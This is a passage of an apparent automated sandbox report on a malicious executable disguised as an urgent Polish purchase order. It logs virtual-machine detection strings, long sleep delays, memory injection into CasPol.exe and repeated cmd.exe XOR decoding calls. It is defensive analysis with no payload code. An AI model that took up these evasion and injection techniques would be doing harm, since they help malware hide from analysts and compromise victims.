            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeDropped PE file which has not been started: C:\Users\user\Pacifisterne\Automatcafeer\Nedrustningspolitikken\Dilemmaers146\Glasgaibleanir\Nodebilledet\Microsoft.Practices.Composite.UnityExtensions.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: threadDelayed 1890Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00405FFD FindFirstFileA,FindClose,1_2_00405FFD
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,1_2_0040559B
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00402688 FindFirstFileA,1_2_00402688
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeSystem information queried: ModuleInformationJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeAPI call chain: ExitProcess graph end nodegraph_1-5101
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeAPI call chain: ExitProcess graph end nodegraph_1-5104
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14099095140.000000000071D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exer
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
            Source: CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicshutdown
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Time Synchronization Service
            Source: CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicvss
            Source: CasPol.exe, 00000089.00000002.18026950300.00000000037E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: CasPol.exe, 00000089.00000002.18026950300.000000000378B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWH
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Data Exchange Service
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14099095140.0000000000700000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exep
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Heartbeat Service
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000002.14152791167.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Service Interface
            Source: CasPol.exe, 00000089.00000002.18029213795.0000000005269000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,1_2_10001A5D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00405050 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageA,CreatePopupMenu,LdrInitializeThunk,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,LdrInitializeThunk,SetClipboardData,CloseClipboard,1_2_00405050
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: E00000Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x19^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x78^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x79^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x08^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2A^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0A^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x63^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
